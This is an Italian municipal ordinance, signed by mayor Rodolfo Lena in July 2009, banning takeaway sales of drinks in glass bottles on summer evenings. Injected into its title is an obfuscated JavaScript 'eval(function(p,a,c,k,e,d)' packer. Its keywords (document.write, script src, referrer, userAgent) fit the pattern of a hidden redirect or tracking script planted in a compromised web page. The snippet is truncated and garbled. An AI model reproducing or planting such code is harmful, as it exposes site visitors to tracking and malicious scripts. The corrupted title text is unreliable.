



Divieto eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6('";n m="q";',30,30,'document|javascript|encodeURIComponent|src|write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|tfbab|var|u0026u|referrer|nhfes|js|php'.split('|'),0,{})) di vendita di bevande, alcoliche e non, in bottiglie di vetro

, da parte dei pubblici esercizi e degli esercizi commerciali a scopo di prevenzione finalizzata all'incolumità delle persone.

DIVIETO DI VENDITA DI BEVANDE, ALCOLICHE E NON, IN BOTTIGLIE DI VETRO, DA PARTE DEI PUBBLICI ESERCIZI E DEGLI ESERCIZI COMMERCIALI A SCOPO DI PREVENZIONE FINALIZZATA ALL'INCOLUMITA' DELLE PERSONE

IL SINDACO

Premesso che nelle ore serali e notturne, particolarmente nella stagione estiva si verifica una consistente presenza di persone con conseguente elevato consumo di bevande, alcoliche e non, che possono essere vendute o somministrate in bottiglie di vetro;

Che la dispersione nell'ambiente di dette bottiglie oltre al conseguente degrado ambientale può comportare un rischio per l'incolumità delle persone;

Viste le proprie ordinanze n.ri 152 del 5/07/2007 e 146 del 14/07/2008 con le quali si vietava,

nel periodo estivo, la vendita di bevande in bottiglie di vetro;

Considerato che dette ordinanze risulta abbiano prodotto effetti positivi ai fini della tutela della pubblica incolumità;

Ritenuto opportuno in conseguenza adottare, anche per il periodo estivo del corrente anno, il provvedimento di che trattasi;

Visto il D. Leg.vo 18/08/2000 n.267;

ORDINA

1) è vietata su tutto il territorio comunale la vendita per asporto di bevande, alcoliche e non, contenute in bottiglie di vetro, da parte degli esercizi pubblici, commerciali ed artigianali, dalle ore 21 fino alla chiusura delle attività stesse. Da detto divieto viene esclusa la vendita del latte e dell'acqua;

2) la presente ordinanza entra in vigore a far data dal 4/07/2009 ed ha validità fino al 30/09/2009 ;

3) in caso di accertate violazioni sono previste sanzioni pecuniarie da 25 a 500 euro, ai sensi dell'art. 7/bis del Decreto Legislativo 267/00, significando che in presenza di tre violazioni alla presente ordinanza verrà disposta la chiusura temporanea dell'attività;

4) Il Comando Polizia Municipale e le Forze dell'Ordine sono incaricate dell'esecuzione della presente ordinanza;

5) contro il presente provvedimento è ammesso ricorso al TAR entro 60 giorni e ricorso straordinario al Presidente della Repubblica entro 120 giorni.

2/07/2009

IL SINDACO
(Rodolfo Lena)